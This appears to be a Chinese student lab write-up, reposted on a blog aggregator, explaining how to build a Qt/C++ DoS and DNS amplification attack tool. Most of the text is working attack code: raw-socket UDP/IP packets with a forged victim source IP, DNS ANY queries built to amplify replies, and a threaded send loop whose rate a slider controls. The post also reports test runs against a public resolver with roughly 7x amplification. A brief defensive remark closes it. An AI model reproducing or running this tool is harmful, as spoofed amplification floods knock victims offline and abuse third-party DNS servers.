DOS+DNS放大攻击工具编写

xiaoxiao2021-02-28  83

1.前言:

 

     DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。

     DNS放大攻击的原理伪造DNS数据包,向DNS服务器发送域名查询报文了,而DNS服务器返回的应答报文则会发送给被攻击主机。放大体现在请求DNS回复的类型为ANY,攻击者向服务器请求的包长度为69个字节,而服务器向被攻击主机回复的ANY类型DNS包长度为535字节,大约放大了7倍。

     本次实验实现的是DOS+DNS放大攻击,在传输层使用UDP协议,应用层使用DNS协议,程序有界面,接受用户输入,用户还能调节发包的速度改变攻击强度。

 

2.程序框图:

      

    

3.DOS+DNS简易界面的设计

 

 

添加5个文本框,用来接受用户输入的被攻击的ip,发送的端口,服务器ip,发送接口名称,查询的域名。

添加一个滑块用来控制攻击的强度。

添加两个按钮控制攻击的开始和停止。

 

核心代码是attack按钮槽函数的实现,接受输入,并调用攻击函数。

 

void Widget::on_attack_pushButton_clicked()

{

    QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

    QByteArray ifnamestr =  ui->ifname_Edit->text().toLatin1();

    QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();

    QByteArray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);

    dosattack->start();

}

 

 

4.构造发送DNS报文

 

 

因为我们要伪造源IP,发送DNS请求,所以我们的报文应该从IP头部开始构造,一直到UDP报文的数据部分。这里分为两个部分,IP头部和UDP头部作为一个部分,UDP的数据即DNS报文作为一个部分。

 

 

 

(1)IP伪首部+IP头部+UDP头部

 

 

UDP包在网络传输的时候要计算校验和,需要用到IP伪首部,IP伪首部在网络中不传输,只用作校验和的计算。我们构造两个数据结构,udpbuf填充UDP头部包括IP头部、udpfhrd填充IP伪首部。核心代码在sendudp函数里填充数据,以及检验和checksum函数的实现。

//IP头部+UDP头部

struct udpbuf

{

   struct ip iph;

    struct udphdr udp;

};

//IP伪首部

struct udpfhrd

{

    struct in_addr ip_src;

    struct in_addr ip_dst;

    char zero;

    char protocal;

    short len;

};

//检验和函数

unsigned short checksum(unsigned short * buffer, int size)

    {

    unsigned long cksum = 0;

    while(size>1)

    {

        cksum += *buffer++;

        size -=sizeof(unsigned short);

 

    }

 

    if (size)

    {

        cksum += *(unsigned char*)buffer;

 

    }

    cksum = (cksum>>16)+ (cksum&0xffff);

    cksum += (cksum>>16);

    return (unsigned short)(~cksum);

}

//udp发送函数

void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,

            char*data,int datalen)

{

    int buflen = sizeof(udpbuf)+datalen;

    char buf[buflen];

    struct udpbuf *ubuf = (struct udpbuf *)buf;

    struct sockaddr_ll toaddr;

    struct in_addr targetIP,srcIP;

    struct ifreq ifr;

    int skfd;

 

    if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

    {

        exit(1);

    }

 

    bzero(&toaddr, sizeof(toaddr));

    bzero(&ifr, sizeof(ifr));

 

    memcpy(ifr.ifr_name,ifname,strlen(ifname));

    ioctl(skfd, SIOCGIFINDEX,&ifr);

 

    toaddr.sll_ifindex = ifr.ifr_ifindex;

 

 

 

    ubuf->iph.ip_v = IPVERSION;

    ubuf->iph.ip_hl= sizeof(struct ip)>>2;

    ubuf->iph.ip_tos = 0;

    ubuf->iph.ip_len = htons(buflen);

    ubuf->iph.ip_id = 0;

    ubuf->iph.ip_off = 0;

    ubuf->iph.ip_ttl = MAXTTL;

    ubuf->iph.ip_p = IPPROTO_UDP;

    ubuf->iph.ip_sum = 0;

 

    inet_pton(AF_INET,dst_ip,&targetIP);

    ubuf->iph.ip_dst = targetIP;

 

    inet_pton(AF_INET,src_ip,&srcIP);

    ubuf->iph.ip_src = srcIP;

 

    ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));

 

 

 

    ubuf->udp.source = htons(src_port);

    ubuf->udp.dest =  htons(dst_port);

 

    ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);

    ubuf->udp.check = 0;

 

    memcpy(buf + sizeof(struct udpbuf),data,datalen);

 

    int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);

    char checksumbuf[csbuflen] ;

    struct udpfhrd * fhrd =  (struct udpfhrd *)checksumbuf;

 

    fhrd->ip_dst = ubuf->iph.ip_dst;

    fhrd->ip_src = ubuf->iph.ip_src;

    fhrd->zero = 0;

    fhrd->protocal = ubuf->iph.ip_p;

    fhrd->len = ubuf->udp.len;

 

 

    memcpy((checksumbuf+sizeof(struct  udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);

 

    if(datalen % 2 != 0)

    {

        checksumbuf[csbuflen-1] = 0;

    }

 

 

    ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);

 

 

    toaddr.sll_family = AF_INET;

    sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

 

    close(skfd);

 

}

 

 

2DNS报文部分

 

同样构造一个数据结构 dnshdr来填充DNS报文,注意放大攻击的请求类型是ANY

这一部分的核心是在DNS发送函数SendDns填充数据,以及查询名的转化,在DNS报文里查询名的存储格式是3www5baidu3com,用户提交的数据格式是www.baidu.com

//DNS12字节

struct dnshdr

{

    unsigned short id;

    unsigned short bz;

    unsigned short wtcount;

    unsigned short zyCount;

    unsigned short sqCount;

    unsigned short ewCount;

};

//DNS可变部分

struct questtype

{

unsigned short dnsType;

   unsigned short dnsClass;

};

//sendDns函数,函数最后调用sendudp函数,将数据整合到sendudp函数中。

void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)

{

 

 

    QList <QByteArray> domainlist= domain.split('.');

    QByteArray domainName;

 

    for (int i = 0; i<domainlist.length();i++)

    {

 

        domainName += domainlist.at(i).length();

        domainName += domainlist.at(i);

    }

 

    domainName += '\0';

 

    int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);

    char buf[bufflen];

 

    struct dnshdr * dnsh;

    struct questtype * qtype;

 

    dnsh = (struct dnshdr*)buf;

    qtype= (struct questtype*)(buf +sizeof(struct dnshdr)+domainName.length());

 

    dnsh->id = rand();

    dnsh->bz = htons(0x0100);

 

 

 

    dnsh->wtcount= htons(1);

    dnsh->zyCount = htons(0);

    dnsh->sqCount = htons(0);

    dnsh->ewCount = htons(0);

 

 

 

    memcpy(buf+sizeof(struct dnshdr),domainName.data(),domainName.length());

 

    qtype->dnsType = htons(255);

    qtype->dnsClass = htons(1);

 

    sendudp(srcf_ip,dns,src_port, 53,ifname,buf,bufflen);

}

 

 

5.DNS放大攻击实现

这一部分创建一个DnsAttack类,实现DNS攻击,并通过usleepLevel)控制发包的速度,从而改变攻击的强度。

 

class DosAttack:public QThread

{

public:

    DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain);

    bool running = true;

protected:

    void run();

 

private:

 

    QByteArray dstipstr;

    QByteArray ifnamestr;

    QByteArray Dnsstr;

    int Port;

    int Level;

    QByteArray Domainstr;

};

 

 

DosAttack::DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain)

{

    dstipstr = dstip;

    ifnamestr = ifname;

    Port = port;

    Dnsstr =dns;

    Domainstr = domain;

    Level =(10-level)*50;

 

}

void DosAttack::run()

{

    char * dstip = dstipstr.data();

    char * ifname = ifnamestr.data();\

    char * dns = Dnsstr.data();

 

    while(running == true)

    {

 

        SendDns(ifname,dstip,Port,dns,Domainstr);

        usleep(Level);

    }

}

 

 

6.实验截图

 

运行的界面,伪造172.20.218.233发出DNS请求。

 

 

 

通过wireshark抓包工具看到我们的DNS请求包已经成功发出,包的长度为69个字节,请求类型为ANY

 

 

 

在目标主机打开wireshark,接受到来自8.8.8.8发送来的应答包,可以看到包长度为535个字节,放大了7倍。

 

 

调节攻击的强度为5

 

 

wireshark分析速度,峰值约为1000

 

 

 

调节攻击的强度为10

 

 

wireshark分析速度,峰值约为3500

 

 

 

那么我们的DOS攻击和DNS放大攻击两大功能就成功实现了。

 

7.实验总结

 

      本次实验使用QT作为程序开发的框架,实现了DOSDNS放大攻击程序的编写,对网络数据包,网络编程以及网络安全有了更加深刻的理解,网络简单易用的设计原理,使得攻击者可以轻易伪造数据。在重要数据传输的时候,要使用更加安全的协议如TCPHTTPS等。

转载请注明原文地址: https://www.6miu.com/read-21971.html

最新回复(0)